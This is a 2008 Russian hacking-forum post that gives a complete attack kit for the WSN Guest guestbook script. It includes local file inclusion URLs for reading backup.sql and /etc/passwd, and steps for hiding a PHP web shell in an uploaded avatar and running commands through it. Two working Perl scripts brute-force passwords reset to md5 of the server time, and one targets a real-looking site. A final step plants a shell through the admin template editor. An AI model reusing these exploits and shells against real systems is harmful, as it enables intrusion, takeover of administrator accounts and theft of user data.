PDA

Просмотр полной версии : Взлом WSN Guest <=1.20


otmorozok428
11.06.2008, 23:09
Не так давно занимался исследованием гостевухи под названием WSN Guest (http://scripts.webmastersite.net/wsnguest). Версия, вроде как 1.20 - последняя доступная на сайте производителя. Гуглится она так: "Powered by WSN Guest"

Вот, что мне удалось найти:

1. Локальный инклуд.

Уязвимый код в файле start.php выглядит так:

if ($custom == 'yes') // custom templates
{ // access with index.php?custom=yes&TID=name&ext=ext
if ($ext == '') $ext = 'tpl';
$thefile = $TID .'.'. $ext;
$thefile = $templatesdir .'/' . $thefile;
$template = new template($thefile);
}

Юзается это так:

http://www.example.com/index.php?custom=yes&TID=[Имя файла]&ext=[Расширение файла]

Что это может дать?

a) Просмотр файла backup.sql.

Файл backup.sql лежит в папке /admin и содержит резервную копию гостевухи. Соответственно, можно сразу поиметь полный комплект админских-юзерских md5-хешей.
http://www.example.com/index.php?custom=yes&TID=../../admin/backup&ext=sql
Для того, чтобы это работало, админ хотя бы раз должен сделать бэкап базы, по умолчанию файл backup.sql - пуст.

б) Загрузка шелла через аватару.

Сначала создаём аватарку содержащую шелл. Берём любую аватарку, открываем в Far-e в режиме редактирования и добавляем в конец файла что-то вроде
<? if (isset($_GET['cmd'])){system($_GET['cmd']);} ?> Сохраняем аватару.
Далее идём на сайт с гостевухой и регистрируем там пользователя. Логинимся под ним и жмём на ссылку [edit your profile]. В пункте "Choose a new avatar" загружаем нашу аватарку, после чего тыкаем кнопку "Edit Profile" (это там вместо сохранения). Чтобы узнать куда и под каким именем загружена наша аватара нужно добавить комментарий к чьему-нибудь сообщению и посмотреть правильное имя аватары. В результате у нас получится что-то подобное:
http://digital-ai.com/guestbook/index.php?custom=yes&TID=../../ce6c4e94383b401afd58e9ca89beb240&ext=jpeg&cmd=ls -al

в) Инклуд чего-нибудь ещё

Например.,
http://www.example.com/index.php?custom=yes&TID=../../../../../../../etc/passwd%00

2. Смена админских-юзерских паролей.

Для восстановления пароля необходимо знать e-mail юзера у которого восстанавливаем пароль. Админ при инсталляции гостевухи создаётся без e-maila, поэтому если позднее почту никто не прописал - сменить админский пасс не получится. Почтовый адрес любого пользователя можно посмотреть по ссылке [View Member List]. Там нужно нажать на имя пользователя. Смена пасса у обычного пользователя может потребоваться для взлома гостевых, где для регистрации пользователя требуется аппрув админа.

Посмотрим, как осуществляется восстановление пароля:

$ourmember = new member('id', $theirid);
$adminaddress = $settings->email;
$newpassword = md5(time());
$encoded = md5($newpassword);
$ourmember->password = $encoded;
$ourmember->update('email,password');
$subject = memberreplacements($language->email_passwordresetsubject, $ourmember);
$message = str_replace('{NEWPASSWORD}', $newpassword, $language->email_passwordresetbody);
$message = memberreplacements($message, $ourmember);
mail("$email", "$subject", "$message", "From: $adminaddress");
if (!$template) $template = new template("$templatesdir/redirect.tpl");
$template->replace('{DESTINATION}', 'index.php');
$template->replace('{MESSAGE}', $language->passwordreset_worked);

Функция time() подробно описана здесь:

http://us.php.net/manual/ru/function.time.php

Т.е. новый пароль - это текущее время сервера, два раза пошифрованное в md5. Текущее время сервера можно узнать создав сообщение или комментарий. Пароль именяется сразу же и от пользователя не требуется никаких подтверждений. Таким образом, при правильно выставленном временнОм диапазоне на подбор восстановленного пароля уйдёт где-то несколько десятков попыток. Ниже выкладываю два эксплоита: один для восстановления админских паролей, другой - для юзерских.

admin.pl
#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n************************************************ *************************\r\n";
print "| |\r\n";
print "| WSN Guest <=1.22 Admin Pass Quick Recovery exploit |\r\n";
print "| |\r\n";
print "| By otmorozok428 |\r\n";
print "| |\r\n";
print "| site: http://forum.antichat.ru |\r\n";
print "| |\r\n";
print "************************************************** ***********************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://www.pinkelephants.org.uk/guestbook/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над
#формой входа в админку.
$key_word = 'supply';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213029991;
$end_range = 1213030010;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
$passes_checked++;
$password = md5_hex($i);
$ua = LWP::UserAgent->new;
my $req = POST $wsn_path.'index.php?action=login&filled=1',[username=>'admin',userpassword=>$password ];
$str = $ua->request($req)->as_string;
if (!($str =~ /$key_word/)){
print "Congratulations! Your pass - ".$password."\n\n";
print "Passes checked: ".$passes_checked."\n";
exit();
}
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
Скачать admin.pl (http://www.itsme7.pochta.ru/wsn-guest-admin.pl)

user.pl
#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n************************************************ *************************\r\n";
print "| |\r\n";
print "| WSN Guest <=1.22 Admin Pass Quick Recovery exploit |\r\n";
print "| |\r\n";
print "| By otmorozok428 |\r\n";
print "| |\r\n";
print "| site: http://forum.antichat.ru |\r\n";
print "| |\r\n";
print "************************************************** ***********************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://localhost/wsn/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над
#формой входа в админку.
$key_word = 'match';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213201857;
$end_range = 1213201893;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
$passes_checked++;
$password = md5_hex($i);
$ua = LWP::UserAgent->new;
my $req = POST $wsn_path.'index.php?action=userlogin&filled=1',[username=>'hi',userpassword=>$password ];
$str = $ua->request($req)->as_string;

# print $str;

if (!($str =~ /$key_word/)){
print "Congratulations! Your pass - ".$password."\n\n";
print "Passes checked: ".$passes_checked."\n";
exit();
}
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
Скачать user.pl (http://www.itsme7.pochta.ru/wsn-guest-user.pl)

3. Заливка шелла через админку

Логинимся под админом. Идем на вкладку [Manage Templates], там выбираем любой шаблон, например, Header или Footer, вставляем в текст шаблона наш код:
<?if (isset($_GET['cmd'])){system($_GET['cmd']);}?>
Жмём кнопку "Submit Changes".